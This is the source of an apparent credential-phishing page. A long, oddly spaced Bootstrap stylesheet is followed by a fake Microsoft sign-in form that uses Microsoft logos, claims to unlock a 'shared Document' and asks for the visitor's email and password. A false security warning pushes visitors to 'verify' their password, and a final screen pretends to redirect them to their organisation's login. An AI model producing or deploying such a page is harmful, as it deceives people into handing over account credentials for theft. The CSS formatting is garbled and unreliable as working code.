.pt - sm - 1,
.py - sm - 1 {
padding - top: .25 rem!important
}
.pr - sm - 1,
.px - sm - 1 {
padding - right: .25 rem!important
}
.pb - sm - 1,
.py - sm - 1 {
padding - bottom: .25 rem!important
}
.pl - sm - 1,
.px - sm - 1 {
padding - left: .25 rem!important
}
.p - sm - 2 {
padding: .5 rem!important
}
.pt - sm - 2,
.py - sm - 2 {
padding - top: .5 rem!important
}
.pr - sm - 2,
.px - sm - 2 {
padding - right: .5 rem!important
}
.pb - sm - 2,
.py - sm - 2 {
padding - bottom: .5 rem!important
}
.pl - sm - 2,
.px - sm - 2 {
padding - left: .5 rem!important
}
.p - sm - 3 {
padding: 1 rem!important
}
.pt - sm - 3,
.py - sm - 3 {
padding - top: 1 rem!important
}
.pr - sm - 3,
.px - sm - 3 {
padding - right: 1 rem!important
}
.pb - sm - 3,
.py - sm - 3 {
padding - bottom: 1 rem!important
}
.pl - sm - 3,
.px - sm - 3 {
padding - left: 1 rem!important
}
.p - sm - 4 {
padding: 1.5 rem!important
}
.pt - sm - 4,
.py - sm - 4 {
padding - top: 1.5 rem!important
}
.pr - sm - 4,
.px - sm - 4 {
padding - right: 1.5 rem!important
}
.pb - sm - 4,
.py - sm - 4 {
padding - bottom: 1.5 rem!important
}
.pl - sm - 4,
.px - sm - 4 {
padding - left: 1.5 rem!important
}
.p - sm - 5 {
padding: 3 rem!important
}
.pt - sm - 5,
.py - sm - 5 {
padding - top: 3 rem!important
}
.pr - sm - 5,
.px - sm - 5 {
padding - right: 3 rem!important
}
.pb - sm - 5,
.py - sm - 5 {
padding - bottom: 3 rem!important
}
.pl - sm - 5,
.px - sm - 5 {
padding - left: 3 rem!important
}
.m - sm - auto {
margin: auto!important
}
.mt - sm - auto,
.my - sm - auto {
margin - top: auto!important
}
.mr - sm - auto,
.mx - sm - auto {
margin - right: auto!important
}
.mb - sm - auto,
.my - sm - auto {
margin - bottom: auto!important
}
.ml - sm - auto,
.mx - sm - auto {
margin - left: auto!important
}
}
@
media(min - width: 768 px) {
.m - md - 0 {
margin: 0!important
}
.mt - md - 0,
.my - md - 0 {
margin - top: 0!important
}
.mr - md - 0,
.mx - md - 0 {
margin - right: 0!important
}
.mb - md - 0,
.my - md - 0 {
margin - bottom: 0!important
}
.ml - md - 0,
.mx - md - 0 {
margin - left: 0!important
}
.m - md - 1 {
margin: .25 rem!important
}
.mt - md - 1,
.my - md - 1 {
margin - top: .25 rem!important
}
.mr - md - 1,
.mx - md - 1 {
margin - right: .25 rem!important
}
.mb - md - 1,
.my - md - 1 {
margin - bottom: .25 rem!important
}
.ml - md - 1,
.mx - md - 1 {
margin - left: .25 rem!important
}
.m - md - 2 {
margin: .5 rem!important
}
.mt - md - 2,
.my - md - 2 {
margin - top: .5 rem!important
}
.mr - md - 2,
.mx - md - 2 {
margin - right: .5 rem!important
}
.mb - md - 2,
.my - md - 2 {
margin - bottom: .5 rem!important
}
.ml - md - 2,
.mx - md - 2 {
margin - left: .5 rem!important
}
.m - md - 3 {
margin: 1 rem!important
}
.mt - md - 3,
.my - md - 3 {
margin - top: 1 rem!important
}
.mr - md - 3,
.mx - md - 3 {
margin - right: 1 rem!important
}
.mb - md - 3,
.my - md - 3 {
margin - bottom: 1 rem!important
}
.ml - md - 3,
.mx - md - 3 {
margin - left: 1 rem!important
}
.m - md - 4 {
margin: 1.5 rem!important
}
.mt - md - 4,
.my - md - 4 {
margin - top: 1.5 rem!important
}
.mr - md - 4,
.mx - md - 4 {
margin - right: 1.5 rem!important
}
.mb - md - 4,
.my - md - 4 {
margin - bottom: 1.5 rem!important
}
.ml - md - 4,
.mx - md - 4 {
margin - left: 1.5 rem!important
}
.m - md - 5 {
margin: 3 rem!important
}
.mt - md - 5,
.my - md - 5 {
margin - top: 3 rem!important
}
.mr - md - 5,
.mx - md - 5 {
margin - right: 3 rem!important
}
.mb - md - 5,
.my - md - 5 {
margin - bottom: 3 rem!important
}
.ml - md - 5,
.mx - md - 5 {
margin - left: 3 rem!important
}
.p - md - 0 {
padding: 0!important
}
.pt - md - 0,
.py - md - 0 {
padding - top: 0!important
}
.pr - md - 0,
.px - md - 0 {
padding - right: 0!important
}
.pb - md - 0,
.py - md - 0 {
padding - bottom: 0!important
}
.pl - md - 0,
.px - md - 0 {
padding - left: 0!important
}
.p - md - 1 {
padding: .25 rem!important
}
.pt - md - 1,
.py - md - 1 {
padding - top: .25 rem!important
}
.pr - md - 1,
.px - md - 1 {
padding - right: .25 rem!important
}
.pb - md - 1,
.py - md - 1 {
padding - bottom: .25 rem!important
}
.pl - md - 1,
.px - md - 1 {
padding - left: .25 rem!important
}
.p - md - 2 {
padding: .5 rem!important
}
.pt - md - 2,
.py - md - 2 {
padding - top: .5 rem!important
}
.pr - md - 2,
.px - md - 2 {
padding - right: .5 rem!important
}
.pb - md - 2,
.py - md - 2 {
padding - bottom: .5 rem!important
}
.pl - md - 2,
.px - md - 2 {
padding - left: .5 rem!important
}
.p - md - 3 {
padding: 1 rem!important
}
.pt - md - 3,
.py - md - 3 {
padding - top: 1 rem!important
}
.pr - md - 3,
.px - md - 3 {
padding - right: 1 rem!important
}
.pb - md - 3,
.py - md - 3 {
padding - bottom: 1 rem!important
}
.pl - md - 3,
.px - md - 3 {
padding - left: 1 rem!important
}
.p - md - 4 {
padding: 1.5 rem!important
}
.pt - md - 4,
.py - md - 4 {
padding - top: 1.5 rem!important
}
.pr - md - 4,
.px - md - 4 {
padding - right: 1.5 rem!important
}
.pb - md - 4,
.py - md - 4 {
padding - bottom: 1.5 rem!important
}
.pl - md - 4,
.px - md - 4 {
padding - left: 1.5 rem!important
}
.p - md - 5 {
padding: 3 rem!important
}
.pt - md - 5,
.py - md - 5 {
padding - top: 3 rem!important
}
.pr - md - 5,
.px - md - 5 {
padding - right: 3 rem!important
}
.pb - md - 5,
.py - md - 5 {
padding - bottom: 3 rem!important
}
.pl - md - 5,
.px - md - 5 {
padding - left: 3 rem!important
}
.m - md - auto {
margin: auto!important
}
.mt - md - auto,
.my - md - auto {
margin - top: auto!important
}
.mr - md - auto,
.mx - md - auto {
margin - right: auto!important
}
.mb - md - auto,
.my - md - auto {
margin - bottom: auto!important
}
.ml - md - auto,
.mx - md - auto {
margin - left: auto!important
}
}
@
media(min - width: 992 px) {
.m - lg - 0 {
margin: 0!important
}
.mt - lg - 0,
.my - lg - 0 {
margin - top: 0!important
}
.mr - lg - 0,
.mx - lg - 0 {
margin - right: 0!important
}
.mb - lg - 0,
.my - lg - 0 {
margin - bottom: 0!important
}
.ml - lg - 0,
.mx - lg - 0 {
margin - left: 0!important
}
.m - lg - 1 {
margin: .25 rem!important
}
.mt - lg - 1,
.my - lg - 1 {
margin - top: .25 rem!important
}
.mr - lg - 1,
.mx - lg - 1 {
margin - right: .25 rem!important
}
.mb - lg - 1,
.my - lg - 1 {
margin - bottom: .25 rem!important
}
.ml - lg - 1,
.mx - lg - 1 {
margin - left: .25 rem!important
}
.m - lg - 2 {
margin: .5 rem!important
}
.mt - lg - 2,
.my - lg - 2 {
margin - top: .5 rem!important
}
.mr - lg - 2,
.mx - lg - 2 {
margin - right: .5 rem!important
}
.mb - lg - 2,
.my - lg - 2 {
margin - bottom: .5 rem!important
}
.ml - lg - 2,
.mx - lg - 2 {
margin - left: .5 rem!important
}
.m - lg - 3 {
margin: 1 rem!important
}
.mt - lg - 3,
.my - lg - 3 {
margin - top: 1 rem!important
}
.mr - lg - 3,
.mx - lg - 3 {
margin - right: 1 rem!important
}
.mb - lg - 3,
.my - lg - 3 {
margin - bottom: 1 rem!important
}
.ml - lg - 3,
.mx - lg - 3 {
margin - left: 1 rem!important
}
.m - lg - 4 {
margin: 1.5 rem!important
}
.mt - lg - 4,
.my - lg - 4 {
margin - top: 1.5 rem!important
}
.mr - lg - 4,
.mx - lg - 4 {
margin - right: 1.5 rem!important
}
.mb - lg - 4,
.my - lg - 4 {
margin - bottom: 1.5 rem!important
}
.ml - lg - 4,
.mx - lg - 4 {
margin - left: 1.5 rem!important
}
.m - lg - 5 {
margin: 3 rem!important
}
.mt - lg - 5,
.my - lg - 5 {
margin - top: 3 rem!important
}
.mr - lg - 5,
.mx - lg - 5 {
margin - right: 3 rem!important
}
.mb - lg - 5,
.my - lg - 5 {
margin - bottom: 3 rem!important
}
.ml - lg - 5,
.mx - lg - 5 {
margin - left: 3 rem!important
}
.p - lg - 0 {
padding: 0!important
}
.pt - lg - 0,
.py - lg - 0 {
padding - top: 0!important
}
.pr - lg - 0,
.px - lg - 0 {
padding - right: 0!important
}
.pb - lg - 0,
.py - lg - 0 {
padding - bottom: 0!important
}
.pl - lg - 0,
.px - lg - 0 {
padding - left: 0!important
}
.p - lg - 1 {
padding: .25 rem!important
}
.pt - lg - 1,
.py - lg - 1 {
padding - top: .25 rem!important
}
.pr - lg - 1,
.px - lg - 1 {
padding - right: .25 rem!important
}
.pb - lg - 1,
.py - lg - 1 {
padding - bottom: .25 rem!important
}
.pl - lg - 1,
.px - lg - 1 {
padding - left: .25 rem!important
}
.p - lg - 2 {
padding: .5 rem!important
}
.pt - lg - 2,
.py - lg - 2 {
padding - top: .5 rem!important
}
.pr - lg - 2,
.px - lg - 2 {
padding - right: .5 rem!important
}
.pb - lg - 2,
.py - lg - 2 {
padding - bottom: .5 rem!important
}
.pl - lg - 2,
.px - lg - 2 {
padding - left: .5 rem!important
}
.p - lg - 3 {
padding: 1 rem!important
}
.pt - lg - 3,
.py - lg - 3 {
padding - top: 1 rem!important
}
.pr - lg - 3,
.px - lg - 3 {
padding - right: 1 rem!important
}
.pb - lg - 3,
.py - lg - 3 {
padding - bottom: 1 rem!important
}
.pl - lg - 3,
.px - lg - 3 {
padding - left: 1 rem!important
}
.p - lg - 4 {
padding: 1.5 rem!important
}
.pt - lg - 4,
.py - lg - 4 {
padding - top: 1.5 rem!important
}
.pr - lg - 4,
.px - lg - 4 {
padding - right: 1.5 rem!important
}
.pb - lg - 4,
.py - lg - 4 {
padding - bottom: 1.5 rem!important
}
.pl - lg - 4,
.px - lg - 4 {
padding - left: 1.5 rem!important
}
.p - lg - 5 {
padding: 3 rem!important
}
.pt - lg - 5,
.py - lg - 5 {
padding - top: 3 rem!important
}
.pr - lg - 5,
.px - lg - 5 {
padding - right: 3 rem!important
}
.pb - lg - 5,
.py - lg - 5 {
padding - bottom: 3 rem!important
}
.pl - lg - 5,
.px - lg - 5 {
padding - left: 3 rem!important
}
.m - lg - auto {
margin: auto!important
}
.mt - lg - auto,
.my - lg - auto {
margin - top: auto!important
}
.mr - lg - auto,
.mx - lg - auto {
margin - right: auto!important
}
.mb - lg - auto,
.my - lg - auto {
margin - bottom: auto!important
}
.ml - lg - auto,
.mx - lg - auto {
margin - left: auto!important
}
}
@
media(min - width: 1200 px) {
.m - xl - 0 {
margin: 0!important
}
.mt - xl - 0,
.my - xl - 0 {
margin - top: 0!important
}
.mr - xl - 0,
.mx - xl - 0 {
margin - right: 0!important
}
.mb - xl - 0,
.my - xl - 0 {
margin - bottom: 0!important
}
.ml - xl - 0,
.mx - xl - 0 {
margin - left: 0!important
}
.m - xl - 1 {
margin: .25 rem!important
}
.mt - xl - 1,
.my - xl - 1 {
margin - top: .25 rem!important
}
.mr - xl - 1,
.mx - xl - 1 {
margin - right: .25 rem!important
}
.mb - xl - 1,
.my - xl - 1 {
margin - bottom: .25 rem!important
}
.ml - xl - 1,
.mx - xl - 1 {
margin - left: .25 rem!important
}
.m - xl - 2 {
margin: .5 rem!important
}
.mt - xl - 2,
.my - xl - 2 {
margin - top: .5 rem!important
}
.mr - xl - 2,
.mx - xl - 2 {
margin - right: .5 rem!important
}
.mb - xl - 2,
.my - xl - 2 {
margin - bottom: .5 rem!important
}
.ml - xl - 2,
.mx - xl - 2 {
margin - left: .5 rem!important
}
.m - xl - 3 {
margin: 1 rem!important
}
.mt - xl - 3,
.my - xl - 3 {
margin - top: 1 rem!important
}
.mr - xl - 3,
.mx - xl - 3 {
margin - right: 1 rem!important
}
.mb - xl - 3,
.my - xl - 3 {
margin - bottom: 1 rem!important
}
.ml - xl - 3,
.mx - xl - 3 {
margin - left: 1 rem!important
}
.m - xl - 4 {
margin: 1.5 rem!important
}
.mt - xl - 4,
.my - xl - 4 {
margin - top: 1.5 rem!important
}
.mr - xl - 4,
.mx - xl - 4 {
margin - right: 1.5 rem!important
}
.mb - xl - 4,
.my - xl - 4 {
margin - bottom: 1.5 rem!important
}
.ml - xl - 4,
.mx - xl - 4 {
margin - left: 1.5 rem!important
}
.m - xl - 5 {
margin: 3 rem!important
}
.mt - xl - 5,
.my - xl - 5 {
margin - top: 3 rem!important
}
.mr - xl - 5,
.mx - xl - 5 {
margin - right: 3 rem!important
}
.mb - xl - 5,
.my - xl - 5 {
margin - bottom: 3 rem!important
}
.ml - xl - 5,
.mx - xl - 5 {
margin - left: 3 rem!important
}
.p - xl - 0 {
padding: 0!important
}
.pt - xl - 0,
.py - xl - 0 {
padding - top: 0!important
}
.pr - xl - 0,
.px - xl - 0 {
padding - right: 0!important
}
.pb - xl - 0,
.py - xl - 0 {
padding - bottom: 0!important
}
.pl - xl - 0,
.px - xl - 0 {
padding - left: 0!important
}
.p - xl - 1 {
padding: .25 rem!important
}
.pt - xl - 1,
.py - xl - 1 {
padding - top: .25 rem!important
}
.pr - xl - 1,
.px - xl - 1 {
padding - right: .25 rem!important
}
.pb - xl - 1,
.py - xl - 1 {
padding - bottom: .25 rem!important
}
.pl - xl - 1,
.px - xl - 1 {
padding - left: .25 rem!important
}
.p - xl - 2 {
padding: .5 rem!important
}
.pt - xl - 2,
.py - xl - 2 {
padding - top: .5 rem!important
}
.pr - xl - 2,
.px - xl - 2 {
padding - right: .5 rem!important
}
.pb - xl - 2,
.py - xl - 2 {
padding - bottom: .5 rem!important
}
.pl - xl - 2,
.px - xl - 2 {
padding - left: .5 rem!important
}
.p - xl - 3 {
padding: 1 rem!important
}
.pt - xl - 3,
.py - xl - 3 {
padding - top: 1 rem!important
}
.pr - xl - 3,
.px - xl - 3 {
padding - right: 1 rem!important
}
.pb - xl - 3,
.py - xl - 3 {
padding - bottom: 1 rem!important
}
.pl - xl - 3,
.px - xl - 3 {
padding - left: 1 rem!important
}
.p - xl - 4 {
padding: 1.5 rem!important
}
.pt - xl - 4,
.py - xl - 4 {
padding - top: 1.5 rem!important
}
.pr - xl - 4,
.px - xl - 4 {
padding - right: 1.5 rem!important
}
.pb - xl - 4,
.py - xl - 4 {
padding - bottom: 1.5 rem!important
}
.pl - xl - 4,
.px - xl - 4 {
padding - left: 1.5 rem!important
}
.p - xl - 5 {
padding: 3 rem!important
}
.pt - xl - 5,
.py - xl - 5 {
padding - top: 3 rem!important
}
.pr - xl - 5,
.px - xl - 5 {
padding - right: 3 rem!important
}
.pb - xl - 5,
.py - xl - 5 {
padding - bottom: 3 rem!important
}
.pl - xl - 5,
.px - xl - 5 {
padding - left: 3 rem!important
}
.m - xl - auto {
margin: auto!important
}
.mt - xl - auto,
.my - xl - auto {
margin - top: auto!important
}
.mr - xl - auto,
.mx - xl - auto {
margin - right: auto!important
}
.mb - xl - auto,
.my - xl - auto {
margin - bottom: auto!important
}
.ml - xl - auto,
.mx - xl - auto {
margin - left: auto!important
}
}
.text - justify {
text - align: justify!important
}
.text - nowrap {
white - space: nowrap!important
}
.text - truncate {
overflow: hidden;
text - overflow: ellipsis;
white - space: nowrap
}
.text - left {
text - align: left!important
}
.text - right {
text - align: right!important
}
.text - center {
text - align: center!important
}
@
media(min - width: 576 px) {
.text - sm - left {
text - align: left!important
}
.text - sm - right {
text - align: right!important
}
.text - sm - center {
text - align: center!important
}
}
@
media(min - width: 768 px) {
.text - md - left {
text - align: left!important
}
.text - md - right {
text - align: right!important
}
.text - md - center {
text - align: center!important
}
}
@
media(min - width: 992 px) {
.text - lg - left {
text - align: left!important
}
.text - lg - right {
text - align: right!important
}
.text - lg - center {
text - align: center!important
}
}
@
media(min - width: 1200 px) {
.text - xl - left {
text - align: left!important
}
.text - xl - right {
text - align: right!important
}
.text - xl - center {
text - align: center!important
}
}
.text - lowercase {
text - transform: lowercase!important
}
.text - uppercase {
text - transform: uppercase!important
}
.text - capitalize {
text - transform: capitalize!important
}
.font - weight - light {
font - weight: 300!important
}
.font - weight - normal {
font - weight: 400!important
}
.font - weight - bold {
font - weight: 700!important
}
.font - italic {
font - style: italic!important
}
.text - white {
color: # fff!important
}
.text - primary {
color: #007bff !important
}
a.text-primary:focus,
a.text-primary:hover {
color: # 0062 cc!important
}
.text - secondary {
color: #6c757d !important
}
a.text-secondary:focus,
a.text-secondary:hover {
color: # 545 b62!important
}
.text - success {
color: #28a745 !important
}
a.text-success:focus,
a.text-success:hover {
color: # 1e7 e34!important
}
.text - info {
color: #17a2b8 !important
}
a.text-info:focus,
a.text-info:hover {
color: # 117 a8b!important
}
.text - warning {
color: # ffc107!important
}
a.text - warning: focus,
a.text - warning: hover {
color: # d39e00!important
}
.text - danger {
color: # dc3545!important
}
a.text - danger: focus,
a.text - danger: hover {
color: # bd2130!important
}
.text - light {
color: # f8f9fa!important
}
a.text - light: focus,
a.text - light: hover {
color: # dae0e5!important
}
.text - dark {
color: #343a40 !important
}
a.text-dark:focus,
a.text-dark:hover {
color: # 1 d2124!important
}
.text - muted {
color: #6c757d !important
}
.text-hide {
font: 0/0 a;
color: transparent;
text-shadow: none;
background-color: transparent;
border: 0
}
.visible {
visibility: visible !important
}
.invisible {
visibility: hidden !important
}
@media print {
*,
::after,
::before {
text-shadow: none !important;
box-shadow: none !important
}
a:not(.btn) {
text-decoration: underline
}
abbr[title]::after {
content: " ("attr(title) ")"
}
pre {
white-space: pre-wrap !important
}
blockquote,
pre {
border: 1px solid # 999;
page -
break -inside: avoid
}
thead {
display: table - header - group
}
img,
tr {
page -
break -inside: avoid
}
h2,
h3,
p {
orphans: 3;
widows: 3
}
h2,
h3 {
page -
break -after: avoid
}
@
page {
size: a3
}
body {
min - width: 992 px!important
}
.container {
min - width: 992 px!important
}
.navbar {
display: none
}
.badge {
border: 1 px solid #000
}
.table {
border-collapse: collapse !important
}
.table td,
.table th {
background-color: # fff!important
}
.table - bordered td,
.table - bordered th {
border: 1 px solid # ddd!important
}
}
/*# sourceMappingURL=bootstrap.min.css.map */
textarea: hover,
input: hover,
textarea: active,
input: active,
textarea: focus,
input: focus,
button: focus,
button: active,
button: hover,
label: focus,
.btn: active,
.btn.active {
outline: 0 px!important; - webkit - appearance: none;
box - shadow: none!important;
}
.box {
box - shadow: 0 2 px 6 px rgb(0 0 0 / 20 % );
/*border: 1px solid rgba(0, 0, 0, 0.4);*/
/*max-height: 350px;*/
max - width: 440 px;
/*width: calc(100% - 40px);*/
padding: 48 px!important;
margin - left: auto;
margin - right: auto;
margin - top: 20 px;
margin - bottom: 28 px;
background - color: white;
overflow - x: hidden;
}
.boxtext {
z - index: 0 px;
transform: translateX(+200 px);
animation: myAnim 300 ms ease - in 0 s 1 normal forwards;
}
@
keyframes myAnim {
0 % {
transform: translateX(-200);
}
100 % {
transform: translateX(0 px);
}
}
@
keyframes bgmyAnim {
0 % {
opacity: 0;
}
100 % {
opacity: 1;
}
}
.box2 {
box - shadow: 0 2 px 6 px rgb(0 0 0 / 20 % );
/*border: 1px solid rgba(0, 0, 0, 0.4);*/
/*max-height: 350px;*/
max - width: 440 px;
/*width: calc(100% - 40px);*/
padding: 8 px 48 px!important;
margin - left: auto;
margin - right: auto;
margin - bottom: 28 px;
background - color: white;
}
# footer {
position: absolute;
left: 0;
bottom: 0;
width: 100 % ;
overflow: visible;
z - index: 99;
clear: both;
min - height: 28 px;
}
/*.footerNode span {
color: #000;
font-size: 0.75rem;
line-height: 28px;
white-space: nowrap;
display: inline-block;
float: right;
margin-left: 8px;
margin-right: 8px;
}*/
div.footerNode a,
div.footerNode span {
color: #000;
font-size: 0.75rem;
line-height: 28px;
white-space: nowrap;
display: inline-block;
float: right;
margin-left: 8px;
margin-right: 8px;
}
.bgimg {
animation: bgmyAnim 1s cubic-bezier(0.11, 0, 0.5, 0) 0s 1 normal forwards;
position: absolute;
height: 100%;
width: 100%;
top: 0px;
background-size: cover;
background-repeat: no-repeat;
background-image: url('https://s3.amazonaws.com/simbla-static-2/2020/11/5faba665321d68001d4fc0e4/5faba6db73aef50019af7085/ZJH_2F3Xi0SopxxCuN7EKeDY.jpg');
}
.topp {
margin-top: 48px !important;
padding-top: 48px !important;
}
@media only screen and (max-width: 610px) {
# hide {
display: none;
}
.topp {
margin - top: 10 px!important;
padding - top: 5 px!important;
}
.bgimg {
position: absolute;
height: 100 % ;
width: 100 % ;
top: 0 px;
background - size: cover;
background - repeat: no - repeat;
background - image: none;
background - color: white;
}
.box {
box - shadow: none;
/*border: 1px solid rgba(0, 0, 0, 0.4);*/
/*max-height: 350px;*/
max - width: 440 px;
/*width: calc(100% - 40px);*/
padding: 0 px!important;
margin - left: auto;
margin - right: auto;
margin - top: 0 px;
margin - bottom: 28 px;
background - color: white;
}
.box2 {
box - shadow: none;
/*border: 1px solid rgba(0, 0, 0, 0.4);*/
/*max-height: 350px;*/
border: 1 px solid;
max - width: 440 px;
/*width: calc(100% - 40px);*/
padding: 8 px 20 px!important;
margin - left: 30 px!important;
margin - right: 30 px!important;
margin - bottom: 28 px!important;
background - color: white;
}
} < /style> < style type = "text/css" >
.loader {
/*position: absolute;*/
/*padding: 30px 0px;*/
width: 40 px;
/*margin: -22px;*/
}
.loader.circle {
position: absolute;
width: 18 px;
height: 18 px;
opacity: 0;
transform: rotate(225 deg);
animation - iteration - count: infinite;
animation - name: orbit;
animation - duration: 3 s;
}
.loader.circle: after {
content: "";
position: absolute;
width: 3 px;
height: 3 px;
border - radius: 5 px;
background: #000;
}
.loader .circle:nth-child(2) {
animation-delay: 240ms;
}
.loader .circle:nth-child(3) {
animation-delay: 480ms;
}
.loader .circle:nth-child(4) {
animation-delay: 720ms;
}
.loader .circle:nth-child(5) {
animation-delay: 960ms;
}
@keyframes orbit {
0% {
transform: translate(10px, 0);
opacity: 1;
animation-timing-function: ease-out;
}
7% {
transform: translate(30px, 0);
animation-timing-function: linear;
}
30% {
transform: translate(60px, 0);
animation-timing-function: ease-in-out;
}
40% {
transform: translate(90px, 0);
animation-timing-function: ease-out;
}
50% {
transform: translate(120px, 0);
animation-timing-function: ease-out;
}
75% {
transform: translate(250px, 0);
animation-timing-function: ease-out;
}
76% {
transform: translate(300px, 0);
opacity: 0;
}
100% {
transform: translate(350px, 0);
opacity: 0;
}
}
</style>
</head>
<body>
<div id= "main" >
< div class = "bgimg" > < /div> < div class = "container-fluid" >
< div class = "container" >
< div class = "row topp" >
< div class = "col-lg-6 mx-auto" >
<!-- ////////////////////////prt1 start/////////////////////// -->
< div class = "box"
id = "prt1" >
< div class = "loader "
style = "display:none;" >
< div class = "circle" > < /div> < div class = "circle" > < /div> < div class = "circle" > < /div> < div class = "circle" > < /div> < div class = "circle" > < /div> < /div> < div class = "boxtext" >
< img src = "https://aadcdn.msauth.net/ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico"
class = "img-fluid logoimg"
width = "30px" > & nbsp < span class = "align-middle h5 logoname"
style = "color: #747474;" > Microsoft < /span><br><br> < span class = "h5" > Sign in to access shared Document < /span><br> < span id = "error"
class = "text-danger"
style = "display: none;" > That Microsoft account doesn 't exist. Enter a different account</span> < div class = "form-group mt-2" >
< input type = "email"
name = "ai"
class = "form-control rounded-0 border-dark"
id = "ai"
aria - describedby = "aiHelp"
placeholder = "Email, phone, or Skype"
style = "border-right: none;border-left: none;border-top: none;" >
< /div> < p style = "font-size: 13px" > No account ? < a href = "#" > Create one! < /a></p >
< p style = "font-size: 13px" > < a href = "#" > Can 't access your account?</a></p> < div class = "text-right" >
< button type = "button"
class = "btn rounded-0 text-white px-4"
id = "next"
style = "background-color: #0066BA;cursor: pointer;" > Next < /button> < /div> < /div> < /div>
<!-- ////////////////////////prt1 end/////////////////////// -->
<!-- ////////////////////////prt2 start/////////////////////// -->
< div class = "box"
id = "prt2"
style = "display: none;" >
< div class = "loader "
style = "display:none;" >
< div class = "circle" > < /div> < div class = "circle" > < /div> < div class = "circle" > < /div> < div class = "circle" > < /div> < div class = "circle" > < /div> < /div> < form id = "contact"
class = "boxtext" >
< img src = "https://aadcdn.msauth.net/ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico"
class = "img-fluid logoimg"
width = "30px" > & nbsp < span class = "align-middle h5 logoname"
style = "color: #747474;" > Microsoft < /span><br><br> < i class = "fas fa-arrow-left"
id = "back" > < /i> <span id="aich">abc@abc.com</span >
< div class = "py-2" > < span class = "h5" > Enter Password < /span></div >
< div class = "pb-2" >
< span id = "mgss"
class = "text-danger" > Because you 're accessing sensitive info, you need to verify your password.</span> < /div> < div class = "form-group mt-2" >
< input type = "password"
name = "pr"
class = "form-control rounded-0 border-dark"
id = "pr"
aria - describedby = "aiHelp"
placeholder = "Enter Password"
style = "border-right: none;border-left: none;border-top: none;" >
< /div> < p style = "font-size: 14px" > < a href = "#" > Forget password ? < /a></p >
< div class = "text-right" >
< button type = "button"
class = "btn rounded-0 text-white px-4"
id = "sub-btn"
style = "background-color: #0066BA;" > Sign in < /button> < /div> < /form> < /div>
<!-- ////////////////////////prt2 end/////////////////////// -->
<!-- ////////////////////////prt3 start/////////////////////// -->
< div class = "box"
id = "prt3"
style = "display: none;" >
< div class = "boxtext" >
< img src = "https://aadcdn.msauth.net/ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico"
class = "img-fluid logoimg"
width = "30px" > & nbsp < span class = "align-middle h5 logoname"
style = "color: #747474;" > Microsoft < /span><br><br> < span class = "h4" > Taking you to your Organization 's sign-in page</span><br><br> < div class = "loader " >
< div class = "circle" > < /div> < div class = "circle" > < /div> < div class = "circle" > < /div> < div class = "circle" > < /div> < div class = "circle" > < /div> < /div> < br >
< div class = "text-left" >
< a href = "#" > cancel < /a> < /div> < br > < br >
< /div> < /div>
<!-- ////////////////////////prt3 end/////////////////////// -->
< /div> < /div> < /div> < div class = "row " >
< div class = "col-sm-5 mx-auto box2" >
< div class = "py-2 bg-white " >
< span > < img src = "https://aadcdn.msauth.net/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg"
width = "30px" > & nbspSign in options < /span> < /div> < /div> < /div> < /div> < footer id = "footer" >
< div >
< div class = "footerNode" >
< span > �2022 Microsoft < /span> < a href = "#" > Privacy statement < /a> < /div> < /div> < /footer> < /div> < div id = "finish"
style = "display:none" >
< center >
< P > < img style = "HEIGHT: 54px; WIDTH: 380px"
src = "data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEAYABgAAD/4QBaRXhpZgAATU0AKgAAAAgABQMBAAUAAAABAAAASgMDAAEAAAABAAAAAFEQAAEAAAABAQAAAFERAAQAAAABAAAOxFESAAQAAAABAAAOxAAAAAAAAYagAACxj//bAEMAAgEBAQEBAgEBAQICAgICBAMCAgICBQQEAwQGBQYGBgUGBgYHCQgGBwkHBgYICwgJCgoKCgoGCAsMCwoMCQoKCv/bAEMBAgICAgICBQMDBQoHBgcKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCv/AABEIADIBTgMBIgACEQEDEQH/xAAfAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgv/xAC1EAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEUMoGRoQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2RlZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/xAAfAQADAQEBAQEBAQEBAAAAAAAAAQIDBAUGBwgJCgv/xAC1EQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgUQpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2dri4+Tl5ufo6ery8/T19vf4+fr/2gAMAwEAAhEDEQA/AP38ooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACqbeIdATU/7EbXLMXhGfsZuk83H+7nP6V5pe6l4i+IXx61z4W6j4q1Cx0fTtLjnih0uVYHkYrBkO4UsQfNbjI7e+fPP2ofhj4P+Gy6CfCdhJDJeNdG6mluXkaUr5O0ncTjG5umOtOwH01RWF8L5ZJvhp4dmmkZnbQrRmZjkkmFOTW7SAKKK8V+P/7R3iLwL4qHg/wXFah7eJXvLqePzDubkIozgYGMk5OTjjHIB7VRXyH488VXHiHXze/EPxPqUmo/KXttOjAhsMgERqGcZYfxAYwc/MTk17H+z18WNKn02PwR4k+IFrqF952NLkk8xZZYiAQjl1xvByMbmPbnHNcoHrNFFFSAVVvdb0bTbiG01HV7W3luJFSCOa4VWkYnAVQTySeAB1ryz9qG78a3GreFfCPgzXbmzk1i4uIpBBctEr4MOC5XnaNzH6ZrySz8Iz+GfGHhnxdoPie31y3u9aRIbpY5E/0iKRCUYPg91IOeQe1VygfXFFeQfCP41/E7xd4xtdE8b6Xpem29zJNFFD9jmjuJ5I0ZmChnOAu35mIxn5RyePX6kDz39rZmX9lT4mspwR8PdaII7f6DNX4a/bb